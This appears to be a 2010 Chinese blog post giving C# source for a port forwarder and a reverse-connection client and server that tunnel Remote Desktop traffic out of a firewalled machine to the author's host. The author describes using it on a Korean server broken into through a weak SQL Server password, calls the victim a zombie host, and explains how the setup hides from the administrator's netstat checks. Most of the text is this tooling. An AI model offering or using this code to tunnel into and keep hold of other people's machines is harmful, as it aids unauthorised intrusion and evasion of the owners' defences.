3389的时候
例子1:连接a机器的3389端口连不上,因为对方防火墙或者网关做了限制,只能访问a机器的个别端口比如80。
例子2:连接a机器的几乎所有端口都连不上(对方乃内网或者防火墙网关做了限制),只能1433上去,但是对方可以连接你的某些端口。
解决
第一种较简单,只需要程序在对方开80,你连接他80,程序收到数据后,发送到他本机的3389,同时从他3389收到数据后返回到你。程序就是一个中转站。
- using System;
- using System<a href="http://lib.csdn.net/base/dotnet" class='replace_word' title=".NET知识库" target='_blank' style='color:#df3434; font-weight:bold;'>.NET</a>.Sockets;
- using System.Threading;
-
- namespace PortTransponder
- {
- class Program
- {
- static void Main(string[] args)
- {
- TcpListener tl = new TcpListener(80);
- tl.Start();
- while (true)
- {
-
- try
- {
- TcpClient tc1 = tl.AcceptTcpClient();
- TcpClient tc2 = new TcpClient("localhost", 3389);
- tc1.SendTimeout = 300000;
- tc1.ReceiveTimeout = 300000;
- tc2.SendTimeout = 300000;
- tc2.ReceiveTimeout = 300000;
- object obj1 = (object)(new TcpClient[] { tc1, tc2 });
- object obj2 = (object)(new TcpClient[] { tc2, tc1 });
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
- }
- catch { }
- }
- }
- public static void transfer(object obj)
- {
- TcpClient tc1 = ((TcpClient[])obj)[0];
- TcpClient tc2 = ((TcpClient[])obj)[1];
- NetworkStream ns1 = tc1.GetStream();
- NetworkStream ns2 = tc2.GetStream();
- while (true)
- {
- try
- {
-
- byte[] bt = new byte[10240];
- int count = ns1.Read(bt, 0, bt.Length);
- ns2.Write(bt, 0, count);
- }
- catch
- {
- ns1.Dispose();
- ns2.Dispose();
- tc1.Close();
- tc2.Close();
- break;
- }
- }
- }
- }
- }
这样在对方机器执行和,直接mstsc /v:对方ip:80就能终端上去了
第二种稍微复杂一点,需要客户机和服务器2个程序,你在自己机器上开服务器端,在对方机器上执行客户端连接你的服务器端,一旦连接上你的服务器端再开个端口让终端程序连接,对方机器上客户端再开个端口连接他自己的3389,做2次中转就可以终端上去了。
具体流程
本机ip开8080端口
对方机器连接你的8080端口,比如端口是49908
连接成功后
你的机器再开一个比如9833端口
对方机器再开一个连接连接他自己的3389,比如端口是49909吧
好这时你用你的mstsc连接自己的 localhost:9833,数据包就从本机9833-本机8080-对方49908-对方49909-对方3389,对方3389的数据反着回来就行了。
-
- using System;
- using System.Collections.Generic;
- using System<a href="http://lib.csdn.net/base/dotnet" class='replace_word' title=".NET知识库" target='_blank' style='color:#df3434; font-weight:bold;'>.net</a>.Sockets;
- using System.Threading;
-
- namespace fanxiangserver
- {
- class Program
- {
- public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();
- public static NetworkStream kongzhins = null;
- static void Main(string[] args)
- {
- ThreadPool.QueueUserWorkItem(new WaitCallback(start1));
- ThreadPool.QueueUserWorkItem(new WaitCallback(start2));
- WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });
- }
- public static void start1(object obj)
- {
- TcpListener tl = new TcpListener(8080);
- tl.Start();
- while (true)
- {
- TcpClient tc = tl.AcceptTcpClient();
- jieshou(tc);
- }
- }
- public static void start2(object obj)
- {
- TcpListener tl = new TcpListener(9833);
- tl.Start();
- while (true)
- {
- TcpClient tc = tl.AcceptTcpClient();
- Random rnd = new Random();
- int biaoji = rnd.Next(1000000000, 2000000000);
- dic.Add(biaoji, tc);
- byte[] bt = BitConverter.GetBytes(biaoji);
- kongzhins.Write(bt, 0, bt.Length);
- }
- }
- public static void jieshou(TcpClient tc)
- {
-
- NetworkStream ns = tc.GetStream();
- byte[] bt = new byte[4];
- int count = ns.Read(bt, 0, bt.Length);
- if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b)
- {
- kongzhins = ns;
- }
- else
- {
- int biaoji = BitConverter.ToInt32(bt, 0);
- lianjie(biaoji, tc);
- }
- }
- public static void lianjie(int biaoji, TcpClient tc1)
- {
- TcpClient tc2 = null;
- if (dic.ContainsKey(biaoji))
- {
- dic.TryGetValue(biaoji, out tc2);
- dic.Remove(biaoji);
- tc1.SendTimeout = 300000;
- tc1.ReceiveTimeout = 300000;
- tc2.SendTimeout = 300000;
- tc2.ReceiveTimeout = 300000;
- object obj1 = (object)(new TcpClient[] { tc1, tc2 });
- object obj2 = (object)(new TcpClient[] { tc2, tc1 });
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
- }
- }
- public static void transfer(object obj)
- {
- TcpClient tc1 = ((TcpClient[])obj)[0];
- TcpClient tc2 = ((TcpClient[])obj)[1];
- NetworkStream ns1 = tc1.GetStream();
- NetworkStream ns2 = tc2.GetStream();
- while (true)
- {
- try
- {
-
- byte[] bt = new byte[10240];
- int count = ns1.Read(bt, 0, bt.Length);
- ns2.Write(bt, 0, count);
- }
- catch
- {
- ns1.Dispose();
- ns2.Dispose();
- tc1.Close();
- tc2.Close();
- break;
- }
- }
- }
- }
- }
-
- using System;
- using System.Text;
- using System<a href="http://lib.csdn.net/base/dotnet" class='replace_word' title=".NET知识库" target='_blank' style='color:#df3434; font-weight:bold;'>.Net</a>.Sockets;
- using System.Threading;
-
- namespace fanxiangclient
- {
- class Program
- {
- public static NetworkStream kongzhins = null;
- static void Main(string[] args)
- {
- try
- {
- TcpClient tc = new TcpClient("你的IP", 8080);
- kongzhins = tc.GetStream();
- byte[] bt = Encoding.Default.GetBytes("ok");
- kongzhins.Write(bt, 0, bt.Length);
- jieshou();
- WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });
- }
- catch { }
- }
- public static void jieshou()
- {
- while (true)
- {
- byte[] bt = new byte[4];
- kongzhins.Read(bt, 0, bt.Length);
- TcpClient tc1 = new TcpClient("你的IP", 8080);
- TcpClient tc2 = new TcpClient("localhost", 3389);
- tc1.SendTimeout = 300000;
- tc1.ReceiveTimeout = 300000;
- tc2.SendTimeout = 300000;
- tc2.ReceiveTimeout = 300000;
- tc1.GetStream().Write(bt, 0, bt.Length);
- object obj1 = (object)(new TcpClient[] { tc1, tc2 });
- object obj2 = (object)(new TcpClient[] { tc2, tc1 });
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);
- ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);
- }
- }
- public static void transfer(object obj)
- {
- TcpClient tc1 = ((TcpClient[])obj)[0];
- TcpClient tc2 = ((TcpClient[])obj)[1];
- NetworkStream ns1 = tc1.GetStream();
- NetworkStream ns2 = tc2.GetStream();
- while (true)
- {
- try
- {
- byte[] bt = new byte[10240];
- int count = ns1.Read(bt, 0, bt.Length);
- ns2.Write(bt, 0, count);
- }
- catch
- {
- ns1.Dispose();
- ns2.Dispose();
- tc1.Close();
- tc2.Close();
- break;
- }
- }
- }
- }
- }
好,这样你连接mstsc /v:localhost:9833,后数据就经过了好几转转到了对方的3389上。这样即使对方是内网也可以被终端了,而且好处是对方查看netstat -an看到的是这种东西
활성 연결
프로토콜 로컬 주소 외부 주소 상태
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING
TCP 他的IP:139 0.0.0.0:0 LISTENING
TCP 他的IP:49908 我的IP:8080 ESTABLISHED
TCP [::]:135 [::]:0 LISTENING
TCP [::]:445 [::]:0 LISTENING
TCP [::]:3389 [::]:0 LISTENING
TCP [::]:5357 [::]:0 LISTENING
TCP [::]:49152 [::]:0 LISTENING
TCP [::]:49153 [::]:0 LISTENING
TCP [::]:49154 [::]:0 LISTENING
TCP [::]:49155 [::]:0 LISTENING
TCP [::]:49156 [::]:0 LISTENING
TCP [::]:49157 [::]:0 LISTENING
TCP [::1]:3389 [::1]:49909 ESTABLISHED
TCP [::1]:49909 [::1]:3389 ESTABLISHED
UDP 0.0.0.0:123 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:1434 *:*
UDP 0.0.0.0:3702 *:*
UDP 0.0.0.0:3702 *:*
UDP 0.0.0.0:4500 *:*
UDP 0.0.0.0:5355 *:*
UDP 0.0.0.0:64966 *:*
UDP 他的IP:137 *:*
UDP 他的IP:138 *:*
UDP [::]:123 *:*
UDP [::]:500 *:*
UDP [::]:3702 *:*
UDP [::]:3702 *:*
UDP [::]:5355 *:*
UDP [::]:64967 *:*
只能看到他的49908在连接我的8080,就像看网站一样,要是80就更像了,而49909连接3389一般注意不到,反正没有ip地址,这棒子想不到吧,他做的这么变态的限制都被终端上去了,起因就是sqlserver弱口令和权限,这个机器是win2008,i7 920的u,不明白棒子的网管为什么一点安全知识都没有,而且屡教不改,上次进去一看,那机器已经被国内黑克给x了n遍了,上边布满了木马,最后实在启动不了了,他重装了,结果那个sqlserver还是那个权限还是那个密码,服气吧。但是如果netstat -ano发现连我的pid和连3389的pid是一个那就可以发现了。
以上程序都是经我测试后非常ok的,但是没有经过优化,尤其是反向连接的,可以做成个服务是吧,或者连接的时候加个验证啦什么的,还有我的Ip地址也是变的,可以做成个服务,定时读取某一网页上我的新ip,告诉他连还是不连啦,什么的。而且还可以做成个http代理翻wall啦,总之花样是很多的。
2010年9月10日下午18点更正反向连接的一个小问题,即连接配对的问题,这样的话只要肉鸡反向连接到你的服务器端,你可以开多个终端上去用不同的账号同时登陆了。
看到好多人说cpu占用率高什么的,我补充一句,我给出代码的目的是告诉大家端口转发的方法和思路,并不是让你直接粘过去用,如果那样的话我直接编译成exe不就完了吗,授人以鱼不如授人以渔对吧,所以大家看明白了怎么回事自己去改和优化,像缓冲区大小是否合适啦,超时啦,连接判断啦什么的,这些都是要自己去优化的,所以代码很短嘛,就是为了让大家看的简单明了,所以直接用的话效率不会很高,但这是个完整骨架,我自己用的就在这段骨架的基础上优化并增加了很多功能,而且cpu占用率内存占用都是没有问题的。